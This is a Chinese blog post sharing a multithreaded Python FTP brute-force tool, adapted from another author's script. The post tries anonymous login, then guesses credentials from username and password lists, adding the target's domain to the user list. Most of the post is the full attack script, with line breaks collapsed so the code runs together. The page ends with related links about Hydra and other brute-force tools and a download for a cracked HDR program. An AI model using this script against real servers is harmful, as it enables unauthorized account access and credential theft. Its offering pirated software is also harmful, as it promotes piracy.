工具分享(1):FTP暴力破解工具 [Python多线程版]
工具分享(1):FTP暴力破解工具 [Python多线程版]
参考:https://www.waitalone.cn/python-ftp-mult.html
在他的基础上加了这么一个代码:如果用户输入的目标是域名,则将域名加入到爆破用户列表中,增加爆破成功率。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib, socket
import sys, time, re, os
from functools import partial
from multiprocessing.dummy import Pool as ThreadPooldef usage():print '+' + '-' * 50 + '+'print '\t Python FTP暴力破解工具多线程版'print '\t\t Time:2014-09-05'print '+' + '-' * 50 + '+'if len(sys.argv) != 4:print "用法: "+os.path.basename(sys.argv[0])+" 待破解的ip/domain 用户名列表 字典列表"print "实例: "+os.path.basename(sys.argv[0])+" www.alin.cn user.txt pass.txt"sys.exit()def brute_anony():try:print '[+] 测试匿名登陆……\n'ftp = ftplib.FTP()ftp.connect(host, 21, timeout=5)print 'FTP消息: %s \n' % ftp.getwelcome()ftp.login()ftp.retrlines('LIST')ftp.quit()print '\n[+] 匿名登陆成功……\n'except ftplib.all_errors:print '\n[-] 匿名登陆失败!\n'def brute_users(user, pwd):try:ftp = ftplib.FTP()ftp.connect(host, 21, timeout=2)ftp.login(user, pwd)ftp.quit()print '\n[+] 破解成功,用户名:%s 密码:%s\n' % (user, pwd)except ftplib.all_errors:passif __name__ == '__main__':usage()start_time = time.time()thrdlist = []if re.match(r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', sys.argv[1]):host = sys.argv[1]else:host = socket.gethostbyname(sys.argv[1])isExist = 0isExist1 = 0with open(sys.argv[2],'r') as tmp:for line in tmp.readlines():if sys.argv[1] in line:isExist = 1if isExist1 == 1:breakif re.sub(r'\.\w+$','',sys.argv[1]) in line:isExist1 = 1if isExist == 1:breakwith open(sys.argv[2],"a") as f:if isExist == 0:f.write("\n"+sys.argv[1])if isExist1 == 0:f.write("\n"+re.sub(r'\.\w+$','',sys.argv[1]))userlist = [i.rstrip() for i in open(sys.argv[2])]passlist = [j.rstrip() for j in open(sys.argv[3])]print '目 标:%s \n' % sys.argv[1]print '用户名:%d 条\n' % len(userlist)print '密 码:%d 条\n' % len(passlist)brute_anony()print '\n[+] 暴力破解测试中……\n'for user in userlist:partial_user = partial(brute_users, user)pool = ThreadPool(10)pool.map(partial_user, passlist)pool.close()pool.join()print '[+] 破解完成,用时: %d 秒' % (time.time() - start_time)
工具分享(1):FTP暴力破解工具 [Python多线程版]相关推荐
- Hydra暴力破解工具的用法
目录 Hydra 常见参数 破解SSH 破解FTP 破解HTTP 破解3389远程登录 Kali自带密码字典 dirb dirbuster fern-wifi metasploit wfuzz Hyd ...
- linux暴力破解工具
对于 Linux 操作系统来说,一般通过 VNC.Teamviewer 和 SSH 等工具来进行远程管理,SSH 是 Secure Shell 的缩写,由 IETF 的网络小组(Network Wor ...
- 基于NMAP日志文件的暴力破解工具BruteSpray
基于NMAP日志文件的暴力破解工具BruteSpray 使用NMAP的-sV选项进行扫描,可以识别目标主机的端口对应的服务.用户可以针对这些服务进行认证爆破.为了方便渗透测试人员使用,Kali Lin ...
- Linux下暴力破解工具Hydra详解
Linux下暴力破解工具Hydra详解 一.简介 Number one of the biggest security holes are passwords, as every password s ...
- [网络安全学习篇10]:扫描技术、暴力破解工具(千峰网络安全视频笔记 10 day)
引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足:对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以 ...
- hydra暴力破解工具
目录 Hydra安装 Ubuntu安装 centos系统安装 windows安装 Hydra参数说明 Hydra使用实例 破解ssh 破解ftp/telnet 破解MySQL数据库 批量破解多个主机: ...
- 暴力破解工具Hydra
博文视点 2016-12-20 15:20:23 浏览258 评论0 安全 Blog Hydra 摘要: Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破 ...
- 暴力破解工具Hydra 常用命令总结
暴力破解工具Hydra 常用命令总结 命令: -R 修复之前使用的aborted/crashed session -S 执行SSL(Secure Socket Layer)连接 -s Port 使用非 ...
- EAP-MD5认证暴力破解工具eapmd5pass
EAP-MD5认证暴力破解工具eapmd5pass EAP-MD5是一种基于802.1x协议的认证机制.由于该机制存在漏洞,所以并不能保证数据安全.Kali Linux预置一个专用工具eapmd5pa ...
最新文章
- MySQL中的联合索引学习教程
- 10分钟学会React Context API
- 玩具版VR盒子没玩够?小米正式开放高端VR头显的开发机申请
- C++ stl 通用算法和成员函数使用
- oracle 安装oui 15038,SuSE Linux上的Oracle11g-x64-ent安装有许多检查错误
- OPA 5 - CreateButtonTest creates CreateButtonSteps
- 为什么自己编写的页面总是在那里抖动_「内存抖动」?别再吓唬面试者们了行吗...
- Windwos命令工作笔记002---windows下tree命令列出文件目录打印到文件中_过滤文件不知道怎么做啊
- COM组件注册DLL不成功
- Java创建Excel文档(自定义格式)
- 宏碁VN7-592G声卡问题解决方案
- day11_rabbitmq和redis
- 阿里安全研究员路全:如何运用AI对抗“数据污染”?
- 微信小程序 学习第一天
- 什么是5G,看完这篇文章就足够了!
- Windows10合并非相邻磁盘或分区到系统C盘方法
- Python(Python入门安装教程)
- 余数和除数以及被除数的关系
- JZOJ5219. B
- Aurora HDR破解版|Aurora HDR 2019破解版下载(附破解补丁)